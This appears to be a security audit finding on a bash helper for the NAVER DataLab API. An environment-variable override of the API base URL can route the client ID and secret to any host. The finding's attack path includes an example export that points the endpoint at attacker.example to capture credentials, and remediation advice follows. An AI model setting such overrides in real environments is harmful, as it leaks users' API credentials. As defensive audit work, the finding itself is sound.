T09 · Insecure Skill Coding Practices
- Location
scripts/_common.sh:7- Finding
Overrideable API Base URL Can Redirect NAVER Credentials
- Content
View full analysis
Vulnerability Details
File Location:
scripts/_common.sh, lines 7 and 45–56
Vulnerability Type: Unvalidated credential destination
Risk Level: Highbash NAVER_DATALAB_BASE="${NAVER_DATALAB_BASE:-https://openapi.naver.com/v1/datalab}" datalab_post() { local path="$1"; shift local body="$1"; shift local out http out=$(mktemp) http=$(curl -sS -o "$out" -w '%{http_code}' \ -X POST "${NAVER_DATALAB_BASE}/${path}" \ -H "X-Naver-Client-Id: ${NAVER_CLIENT_ID}" \ -H "X-Naver-Client-Secret: ${NAVER_CLIENT_SECRET}" \ -H "Content-Type: application/json; charset=utf-8" \ --data "$body" || true)Technical Analysis
The HTTP destination is derived directly from the inherited
NAVER_DATALAB_BASEenvironment variable without validating its scheme, hostname, port, or path. Thedatalab_postfunction then transmits the NAVER client ID, client secret, and request body to that destination.Consequently, a party capable of influencing the process environment can replace the documented NAVER endpoint with an attacker-controlled server. This does not prove intentional exfiltration by the project, but it creates a credential-routing vulnerability that conflicts with the documented expectation that authenticated requests are sent to
openapi.naver.com.Attack Path
- An attacker gains influence over the execution environment, such as a shell profile, CI configuration, wrapper process, or Agent launcher.
- The attacker sets:
bash export NAVER_DATALAB_BASE='https://attacker.example/collect' - A user or Agent invokes any project subcommand while valid
NAVER_CLIENT_IDandNAVER_CLIENT_SECRETvalues are present. - The subcommand calls
datalab_post. curlsends both NAVER authentication headers and the trend-analysis request body to the attacker-controlled endpoint.- The attacker records the credentials and may reuse them against the legitimate NAVER API.
Impact Assessment
Successful ex ...[truncated 590 chars]
- Remediation
View remediation
Remediation Suggestions
-
Hard-code the official API base URL if alternate endpoints are not a required feature:
bash readonly NAVER_DATALAB_BASE='https://openapi.naver.com/v1/datalab' -
If configurability is required for testing, validate the parsed URL before attaching credentials. Require:
- Scheme exactly
https - Hostname exactly
openapi.naver.com - No URL user information
- No nonstandard port
- Path exactly
/v1/datalab - No fragments or unexpected query parameters
- Scheme exactly
-
Restrict transport and redirect behavior:
bash curl --proto '=https' --proto-redir '=https' --max-redirs 0 ... -
Keep test-server support separate from production authentication. Test mode should use mock credentials and should refuse to send real NAVER credentials to a non-NAVER host.
-
Document that security-sensitive endpoint overrides are unsupported, and clear or ignore inherited
NAVER_DATALAB_BASEvalues during normal operation. -
Add automated tests confirming that HTTP URLs, alternate hosts, malformed URLs, and unexpected ports are rejected before authentication headers are constructed.
-
